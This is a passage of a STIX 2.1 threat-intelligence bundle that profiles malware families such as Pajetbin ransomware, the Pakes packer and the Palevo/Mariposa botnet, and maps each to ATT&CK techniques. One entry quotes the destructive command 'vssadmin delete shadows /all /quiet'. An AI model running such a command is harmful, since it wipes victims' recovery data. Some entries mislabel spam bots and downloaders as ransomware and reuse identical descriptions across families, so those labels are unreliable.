      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Padmer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f83c620-d7eb-5dce-af51-8ceede266e92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b07d5592-0a03-51b3-9807-8e0e1cc34259",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Padmer exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9030909c-2f65-5bf8-9f97-f796d378a953",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pajetbin",
      "description": "Pajetbin (classified across threat telemetry as Ransom:Win32/Pajetbin, Trojan-Ransom.Win32.Pajetbin, and Win32/Pajetbin) is a destructive crypto-ransomware family targeting Windows workstations and network servers. Propagated through weaponized email phishing attachments, cracked software utilities, and exploit kits, Pajetbin performs swift host reconnaissance upon execution. It terminates active database processes, mail servers, and backup utilities via taskkill to release file system locks across local hard drives and mapped SMB network shares. Pajetbin encrypts target data files\u2014including office documents, accounting spreadsheets, databases, and archives\u2014using AES-256 encryption wrapped with an embedded RSA public key, appending a unique extension (such as .pajetbin) to locked files. It executes vssadmin delete shadows /all /quiet to purge Volume Shadow Copies and leaves ransom notices instructing victims on cryptocurrency extortion payments. (Observed samples in benchmark: 21)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Pajetbin",
        "Trojan-Ransom.Win32.Pajetbin",
        "Win32/Pajetbin",
        "Ransom.Pajetbin",
        "Ransom:Win32/Pajetbin.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pajetbin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pajetbin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd847b1a-03ee-52f2-8737-d0bc5b4f4a46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9030909c-2f65-5bf8-9f97-f796d378a953",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pajetbin exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00e0475a-651b-529f-802f-5ae1c758e6ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9030909c-2f65-5bf8-9f97-f796d378a953",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pajetbin exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0e6674a-53d6-519b-b429-493dbb525251",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9030909c-2f65-5bf8-9f97-f796d378a953",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pajetbin exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20dc3810-51ef-5ad2-8c8c-ec27293b450a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9030909c-2f65-5bf8-9f97-f796d378a953",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pajetbin exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--149280e6-1326-5613-8a7e-1840c600ff90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9030909c-2f65-5bf8-9f97-f796d378a953",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pajetbin exhibits technique T1070.004 (Indicator Removal: File Deletion)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e512ef48-2d09-5a77-8542-50718161ff01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pakes",
      "description": "Pakes (tracked across threat intelligence and antivirus databases as VirTool:Win32/Pakes, Trojan:Win32/Pakes, and Packer.Win32.Pakes) is a classic runtime binary packing, compression, and code-obfuscation framework widely abused in crimeware campaigns since 2008. Designed to defeat static antivirus signatures, Pakes encrypts underlying Windows PE executables\u2014frequently password stealers, banking trojans, and worms\u2014encapsulating them within a polymorphic decryption wrapper. Upon execution, the Pakes stub initializes anti-debugging loops (such as calling IsDebuggerPresent and inspecting the PEB BeingDebugged flag), allocates virtual memory with PAGE_EXECUTE_READWRITE permissions, decrypts the compressed code segments using rolling XOR/subtraction algorithms, and jumps directly to the original entry point (OEP) in memory, ensuring that the decrypted binary never touches physical storage. (Observed samples in benchmark: 33)",
      "is_family": true,
      "malware_types": [
        "resource-exploitation"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "VirTool:Win32/Pakes",
        "Trojan:Win32/Pakes",
        "Packer.Win32.Pakes",
        "Win32/Pakes",
        "VirTool.Win32.Pakes.A",
        "Trojan.Win32.Pakes"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pakes",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pakes"
        }
      ],
      "labels": [
        "packer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a9be6032-2b4d-5ccc-a2e4-2ae52ac7363e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Palevo",
      "description": "Worm:Win32/Palevo (universally known in cybersecurity research as the Butterfly Bot and the Mariposa botnet) was a monumental, highly modular crimeware botnet that compromised over 12.7 million computers across 190 countries between 2008 and 2010. Authored by Slovenian malware developer Matja\u017e \u0160korjanc ('Iserdo'), the Butterfly Bot framework was sold commercially on underground forums for $500 to $2,000 to cybercrime affiliates, most notably the 'Denuv\u014d' crew in Spain. Palevo spread aggressively via USB removable storage autorun exploits, MSN Messenger instant messaging worm propagation, and peer-to-peer file sharing networks. Infected systems were leveraged to execute massive distributed denial-of-service (DDoS) attacks, steal banking credentials, deploy browser webinjects, and install rogue security software. In December 2009, a collaborative international task force comprising the Spanish Guardia Civil, the FBI, and Panda Security executed Operation Mariposa, seizing command servers and arresting Spanish operators 'Netkairo' (Florencio Carro Ruiz), 'Ostiator', and 'Johny-K'. In July 2010, Slovenian police and the FBI arrested author Matja\u017e \u0160korjanc in Maribor, leading to his federal indictment and conviction in the District of Columbia. (Observed samples in benchmark: 106)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Palevo",
        "Worm:Win32/Palevo",
        "Butterfly Bot",
        "Mariposa",
        "Rkit.Palevo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Palevo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/palevo"
        }
      ],
      "labels": [
        "botnet",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--653c8c9d-51d3-5fcf-a328-5301751b11c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9be6032-2b4d-5ccc-a2e4-2ae52ac7363e",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Palevo exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0f038cb-bc98-5570-9b0a-dbe9ae76cf61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9be6032-2b4d-5ccc-a2e4-2ae52ac7363e",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Palevo exhibits technique T1566.002 (Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9ecf988-9d8a-5480-a07e-5641c40b6c55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9be6032-2b4d-5ccc-a2e4-2ae52ac7363e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Palevo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f8eb4a5-e45e-58ab-9f98-b0ac0504f81b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9be6032-2b4d-5ccc-a2e4-2ae52ac7363e",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Palevo exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83c1f2b4-fe3f-5de0-aa2b-6fb1774e949f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9be6032-2b4d-5ccc-a2e4-2ae52ac7363e",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Palevo exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--942e1e67-bdaa-5c8c-86b8-21aad297846e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9be6032-2b4d-5ccc-a2e4-2ae52ac7363e",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Palevo exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fa88885a-ea2e-5766-8b2f-5d83f5f757cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Palibu",
      "description": "Trojan:Win32/Palibu is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Palibu</b><br>To an end-user, a Palibu infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Palibu is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Palibu is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Palibu frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Palibu reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Palibu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/palibu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a65716f-3b22-56d0-9404-ea27ef6b6f6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa88885a-ea2e-5766-8b2f-5d83f5f757cd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Palibu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e272ae2-c5ce-5d08-a1cd-e04b3b90fc9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa88885a-ea2e-5766-8b2f-5d83f5f757cd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Palibu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3532d79-84ef-5fa5-8f72-4c24bc3a35c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa88885a-ea2e-5766-8b2f-5d83f5f757cd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Palibu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--912029db-9869-50d3-952d-7ff32aa16190",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa88885a-ea2e-5766-8b2f-5d83f5f757cd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Palibu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--899f90f5-cb31-5dca-87ea-e5bfc468770f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa88885a-ea2e-5766-8b2f-5d83f5f757cd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Palibu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8f1a77e5-388e-50ee-ad3f-27ed888d9514",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pandex",
      "description": "Trojan:Win32/Pandex (often an alias or component of the massive **Cutwail** botnet) is a highly prevalent, persistent trojan whose primary objective is to infect endpoints, enroll them into a global botnet, and utilize their network resources to send millions of malicious spam emails (malspam). These spam campaigns are the primary distribution mechanism for other severe malware, including banking trojans (like Zeus or Emotet) and ransomware.<br><br><b>Understanding the Pandex (Cutwail) Botnet</b><br>To an end-user, a Pandex infection is largely invisible, although they may experience slowed internet speeds due to the background spam engine. For a security analyst, Pandex represents a severe compromise of network integrity. An infected endpoint actively attacks other organizations by blasting out phishing emails, which will quickly result in the corporate IP address being blacklisted by major spam databases (e.g., Spamhaus), disrupting legitimate corporate communications.<br><br><b>Execution and Spam Engine Mechanics</b><br>Pandex is typically distributed via exploit kits (`T1189`) or as a secondary payload dropped by another trojan. Upon execution, it employs sophisticated rootkit techniques to hide its presence. It injects its malicious code into legitimate system processes like `svchost.exe` or `explorer.exe` (`T1055`) to evade detection and mask its network activity. It establishes persistence via hidden Registry keys or Scheduled Tasks (`T1053.005`). Once established, it connects to a Command and Control (C2) server (`T1071.001`) to receive spam templates and target email lists. It then utilizes its own built-in SMTP engine (`T1534`) to blast thousands of spam emails directly from the infected endpoint, bypassing the corporate mail server.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the blacklisting of the corporate IP address and participation in global cybercrime. The most glaring network IoC is a massive, sustained spike in outbound SMTP traffic (Port 25 or 587) originating from an endpoint that is *not* an authorized mail server, attempting to connect directly to external MX records. Host-based IoCs include EDR alerts for process injection into `svchost.exe` and anomalous DNS queries for known spam tracking domains. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pandex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pandex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01c39ff4-f0c8-571e-8aa1-f14a23cba760",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f1a77e5-388e-50ee-ad3f-27ed888d9514",
      "target_ref": "attack-pattern--f6e44ca9-76e4-5a5b-81ea-4fbe314d9178",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pandex exhibits technique T1534 (Internal Spearphishing (Acting as a spam engine))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--704d52f3-9281-5b9a-be9d-8e5f33f93f1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f1a77e5-388e-50ee-ad3f-27ed888d9514",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pandex exhibits technique T1055 (Process Injection (Hiding within svchost.exe))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a59d932d-0f18-547f-9838-d94c683567a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f1a77e5-388e-50ee-ad3f-27ed888d9514",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pandex exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication for spam lists))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--310cfd01-a793-594e-b363-d43bfe0849a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f1a77e5-388e-50ee-ad3f-27ed888d9514",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pandex exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Rootkit evasion techniques))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d1e229b1-f8b8-555b-967d-baafcd83cc0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pandview",
      "description": "Trojan:Win32/Pandview is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pandview</b><br>To an end-user, a Pandview infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pandview is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pandview is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pandview frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pandview reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pandview",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pandview"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbcff2b9-c4be-53f5-ad0c-75965c2a765e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1e229b1-f8b8-555b-967d-baafcd83cc0a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pandview exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--651f20cf-19c7-5b3d-a54a-f5190dc79444",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1e229b1-f8b8-555b-967d-baafcd83cc0a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pandview exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf510c60-681d-5991-8173-f57c2a7c18ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1e229b1-f8b8-555b-967d-baafcd83cc0a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pandview exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30f35192-2a15-5b46-850e-137249fd0bc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1e229b1-f8b8-555b-967d-baafcd83cc0a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pandview exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95d85715-667f-5074-882d-d4d1b4683ea9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1e229b1-f8b8-555b-967d-baafcd83cc0a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pandview exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--50288563-d611-5ece-8866-d611113446e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pantera",
      "description": "Trojan:Win32/Pantera is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pantera</b><br>To an end-user, a Pantera infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pantera is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pantera is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pantera frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pantera reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pantera",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pantera"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5af942f-487d-5d16-a098-a955c3ca4d8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50288563-d611-5ece-8866-d611113446e9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pantera exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8acd8d7-e6c6-509b-a068-6e5df2c1a20e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50288563-d611-5ece-8866-d611113446e9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pantera exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
